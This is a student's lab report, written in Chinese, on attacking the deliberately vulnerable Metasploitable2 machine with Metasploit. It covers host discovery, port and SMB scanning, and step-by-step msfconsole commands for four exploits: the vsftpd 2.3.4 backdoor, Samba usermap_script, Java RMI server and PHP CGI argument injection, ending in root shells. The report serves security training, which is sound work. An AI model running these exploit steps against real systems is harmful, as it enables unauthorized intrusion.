实验内容及要求
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:
在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS - RPC Shell命令注入漏洞(端口139)
漏洞原理:
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS - RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
首先从官网下载靶机,其中用户名和密码都是msfadmin。
这里有个建议,直接下载速度感人,按照网上说的链接在迅雷下载可以快一点,但也要好几个小时,这边建议如果有会员的话,先存到云盘,再直接从云盘里下载,可能会失败,但只要不到十分钟就可以完成。
2.1 前期渗透
2.1.1 主机发现


可以看到我的靶机IP为192.168.8.147,此处需要进入root权限下,否则后续可能失败。

虚拟机IP为192.168.8.134
输入命令msfconsole、search arp_sweep
use 0
set RHOSTS 192.168.8.0/24
set THREADS 50
run:

从[+]的第三个可以发现靶机(192.168.8.147)。
2.1.2 端口扫描
输入search portscan/tcp
use 0
set RHOSTS 192.168.8.147
run:


成功扫描出了开放的tcp端口。
2.1.3 扫系统版本、漏洞
输入search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.8.147
run:

主机运行的是Samba 3.0.20-Debian,且使用SMB Detected (versions:1)
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
输入msfconsole
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.8.147
run:

输入uname –a
pwd
id
验证:

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
输入msfconsole
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.8.147
exploit:

输入
uname–a
ip
验证:

2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
参考2.1.2查看1099端口是否开放:

发现1099开放后输入
search exploit/multi/misc/java_rmi_server
use 0
show options
set RHOST 192.168.8.147
exploit:

输入sessions -i 3进入任务,再输入shell,利用whoami命令验证,得到结果root:

2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
输入
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.8.147
exploit:

输入dir验证:

3.问题及解决方案
经历了三次实验kali虚拟机没有光标,在石泽伟的帮助下,只需要更改卡里虚拟机的版本,进入时选择第二个中的第三个就顺利解决了。

这步时我最开始输入的是sessions -i 1,但是输入错误,在ai的提示下,把1改成3就顺利解决了。
4.学习感悟、思考等
本次实验中,我尝试了从前期渗透到利用多种漏洞攻击靶机的完整流程,理解了网络攻防技术的多样性与网络安全问题的重要性,让我明白了在网络中权限的重要性,更一步激发了我深入学习网络攻防的热情。